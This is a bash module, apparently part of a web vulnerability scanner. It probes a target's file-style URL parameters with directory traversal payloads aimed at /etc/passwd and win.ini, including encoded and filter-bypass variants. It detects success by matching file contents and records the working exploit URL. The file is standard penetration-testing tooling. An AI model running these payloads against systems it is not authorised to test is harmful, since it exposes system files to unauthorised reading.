#!/usr/bin/env bash
# Vector 07: Directory Traversal
# Desc: Path traversal to read arbitrary files
# Detect: file=, download=, doc=, pdf= parameters
# Severity: HIGH
# Tools: curl

vector_dtrav() {
  local target="$1"
  local report="$2"
  local findings=0
  
  print_info "Testing Directory Traversal vectors..."
  
  local trav_params=("file" "download" "doc" "pdf" "attachment" "d" "f" "folder" "dir" "img" "document" "view" "page")
  
  for param in "${trav_params[@]}"; do
    local tests=(
      "../../../../etc/passwd"
      "..\\..\\..\\windows\\win.ini"
      "%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd"
      "....//....//....//etc/passwd"
      "..;/..;/..;/etc/passwd"
    )
    
    for trav in "${tests[@]}"; do
      local test_url=""
      if [[ "$target" == *\?* ]]; then
        test_url="${target}&${param}=${trav}"
      else
        test_url="${target}?${param}=${trav}"
      fi
      
      local response=$(curl -s --connect-timeout 5 --max-time 10 "$test_url" 2>/dev/null)
      
      if echo "$response" | grep -qi "root:.*:0:0:\|root:x:0:0:\|\[boot loader\]\|\[fonts\]"; then
        print_find "Directory Traversal!" "File read via $param with: $trav"
        echo "SEVERITY: HIGH
VECTOR: Directory Traversal
DETAIL: Path traversal via parameter '$param' on $target
EVIDENCE: System files readable: ${response:0:100}
EXPLOIT: $test_url" > "$REPORTS_DIR/.finding_$(date +%s)_dtrav.txt"
        findings=$((findings + 1))
        break 2
      fi
    done
  done
  
  return $findings
}